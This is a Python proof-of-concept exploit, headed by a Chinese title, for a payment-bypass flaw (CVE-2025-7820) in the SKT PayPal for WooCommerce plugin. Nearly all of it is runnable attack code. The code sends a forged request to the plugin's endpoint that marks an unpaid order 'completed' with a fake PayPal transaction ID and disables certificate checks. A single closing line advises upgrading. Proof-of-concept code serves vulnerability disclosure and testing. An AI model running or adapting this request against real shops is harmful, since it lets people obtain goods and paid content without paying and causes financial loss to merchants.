CVE-2025-7820: SKT PayPal for WooCommerce支付绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-7820 PoC - SKT PayPal for WooCommerce Payment Bypass This PoC demonstrates the payment bypass vulnerability in SKT PayPal for WooCommerce <= 1.4 The vulnerability allows unauthenticated attackers to confirm orders without actual payment. """ import requests import json TARGET_URL = "https://example-woocommerce-site.com" TARGET_ENDPOINT = f"{TARGET_URL}/?wc-api=wc_skt_paypal" def create_malicious_order(): """ Step 1: Create a normal order through the WooCommerce checkout process This simulates a legitimate purchase attempt. """ checkout_data = { "billing_first_name": "Test", "billing_last_name": "User", "billing_email": "[email protected]", "billing_phone": "1234567890", "payment_method": "skt_paypal", "products": ["product_id_123"] } # In real scenario, this would be done through the website print("[*] Step 1: Order created (payment pending)") return {"order_id": "ORDER_12345", "amount": "99.99"} def bypass_payment(order_id): """ Step 2: Bypass payment verification by directly setting order status to 'completed' The vulnerable plugin trusts client-side order status without server-side PayPal verification. """ print(f"[*] Step 2: Attempting payment bypass for order {order_id}") # Malicious request to mark order as completed without payment bypass_payload = { "order_id": order_id, "order_status": "completed", # Attacker-controlled status "payment_status": "completed", "skt_paypal_txn_id": "FAKE_TXN_ID", # Forged transaction ID "skt_paypal_status": "Completed" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Payment Bypass PoC)" } try: # This endpoint is vulnerable - it doesn't verify PayPal transaction server-side response = requests.post( TARGET_ENDPOINT, data=bypass_payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Payment bypass successful! Order marked as paid.") print(f"[+] Attacker now has access to paid content without payment.") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def verify_order_access(order_id): """ Step 3: Verify that the attacker can now access paid content """ print(f"[*] Step 3: Verifying access to order {order_id}") # Attacker can now download products, access subscriptions, etc. access_url = f"{TARGET_URL}/my-account/view-order/{order_id}/" print(f"[+] Attacker can now access: {access_url}") print("[+] Impact: Financial loss to merchant, unauthorized access to paid content") if __name__ == "__main__": print("=" * 60) print("CVE-2025-7820 PoC - SKT PayPal for WooCommerce Payment Bypass") print("=" * 60) # Execute attack chain order_info = create_malicious_order() success = bypass_payment(order_info["order_id"]) if success: verify_order_access(order_info["order_id"]) print("\n[*] PoC execution completed") print("[*] Mitigation: Upgrade to SKT PayPal for WooCommerce > 1.4")